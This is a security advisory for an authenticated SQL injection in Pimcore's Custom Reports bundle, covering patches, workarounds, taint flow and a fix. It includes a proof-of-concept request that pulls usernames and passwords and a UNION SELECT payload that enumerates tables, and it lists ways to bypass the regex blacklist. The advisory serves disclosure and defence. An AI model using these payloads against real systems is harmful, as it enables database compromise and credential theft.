PT-2026-89734 · Packagist · Pimcore/Pimcore

CVE-2026-55416

·

Published

2026-09-10

·

Updated

2026-09-10

CVSS v3.1

8.8

High

VectorAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Security Advisory: SQL Injection in Custom Reports via Malicious Report Configuration

Summary

Impact

A SQL injection vulnerability exists in the Custom Reports bundle (bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:84-135). An authenticated attacker with reports config permission can inject arbitrary SQL via the report configuration fields (sql, from, where, groupby), which are directly concatenated into SQL queries without parameterization. The only protection is a regex blacklist that checks for ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE keywords, which is trivially bypassable — it does not block INSERT, UNION SELECT, LOAD FILE(), INTO OUTFILE, stacked queries, subqueries, or MySQL comment injection (/*!*/). Exploitation allows reading, modifying, or deleting all data in the database, leading to complete data compromise.
Additionally, the LIMIT clause at line 51 directly interpolates $offset and $limit without integer casting, creating a secondary injection point.

Patches

Versions 2026.1.6, 12.3.10, 11.5.19.

Workarounds

  1. Restrict reports config permission to only highly trusted administrators
  2. Deploy a WAF rule to block requests to /admin/bundle/customreports/custom-report/update containing SQL keywords in the configuration parameter
  3. Replace the custom SQL adapter with a parameterized query builder approach

Attack Path (Validation Evidence)

[Entry Point] POST /admin/bundle/customreports/custom-report/update HTTP/1.1
  ↓ (requires reports config permission + valid admin session)
[Controller] CustomReportController::updateAction()
  ↓ $configuration = decodeJson($request->request->getString('configuration'))
[Config Store] Configuration saved to custom reports database table
[Config Load] ToolConfig::getByName() loads stdClass $config from DB
  ↓
[Adapter] Sql::getBaseQuery() → Sql::buildQueryString($config)
  ↓ Directly concatenates config fields:
[Vulnerable] $sql .= "
" . $config['sql'];    // Line 92
      $sql .= "
" . $config['from'];    // Line 103
      $sql .= "
" . 'WHERE (' . $config['where'] . ')'; // Line 110
      $sql .= "
" . $config['groupby'];   // Line 117
[Weak Guard] preg match('/(ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE)s/i', ...)
  ↓ ✗ Bypassable — missing INSERT, UNION, SELECT, subqueries, comments
[Execution] $db->fetchAllAssociative($sql);    // Line 54
  ↓
[Impact] Arbitrary SQL execution — full database compromise

Taint Flow (Validation Evidence)

Source: $request->request->getString('configuration') (HTTP POST body, user-controlled)
  ↓ json decode() → stdClass
[Store] Persistent in database (custom reports table)
[Load]  Config::getByName() → stdClass $config
  ↓ ✗ No sanitization (only bypassable regex blacklist)
[Sink]  $db->fetchAllAssociative($concatenatedSql)
  ↓
Impact: Attacker-controlled SQL executed against the database

Proof of Concept

Steps

  1. Authenticate as an admin user with reports config permission
  2. Send a report update request with malicious SQL in the configuration:

Request

http
POST /admin/bundle/customreports/custom-report/update HTTP/1.1
Host: <target-host>
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<valid admin session>

name=malicious report&configuration=%7B%22sql%22%3A%22SELECT%20id%2C%20username%2C%20password%20FROM%20users%22%2C%22from%22%3A%22users%22%2C%22where%22%3A%221%3D1%22%2C%22groupby%22%3A%22%22%2C%22dataSourceConfig%22%3A%7B%7D%7D
  1. Access the report data endpoint to retrieve extracted user credentials
  2. Alternatively, the where field can be set to:
1=1 UNION SELECT TABLE NAME, TABLE SCHEMA, 1 FROM INFORMATION SCHEMA.TABLES
to enumerate all database tables

Expected Result

The custom report returns rows from arbitrary tables beyond what was intended, proving successful SQL injection.

Affected Component

  • File: bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php
  • Method: buildQueryString() (lines 84-135), getBaseQuery() (lines 137-216), getData() (lines 25-58)
  • Class: PimcoreBundleCustomReportsBundleToolAdapterSql

Fix Recommendation

Replace the custom SQL concatenation approach with a parameterized query builder:
php
// Instead of:
$sql .= "
" . $config['sql'];
$sql .= "
" . $config['from'];
$sql .= "
" . 'WHERE (' . $config['where'] . ')';

// Use a whitelist-based approach:
// 1. Only allow predefined table names from a whitelist
// 2. Use Doctrine QueryBuilder for WHERE conditions
// 3. Use parameterized queries for all user-supplied values
// 4. Cast LIMIT/OFFSET to integers

$sql .= ' LIMIT ' . (int)$offset . ',' . (int)$limit;

Resources

Fix

SQL injection

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

CVE-2026-55416
GHSA-23RH-XW42-FQ82

Affected Products

Pimcore/Pimcore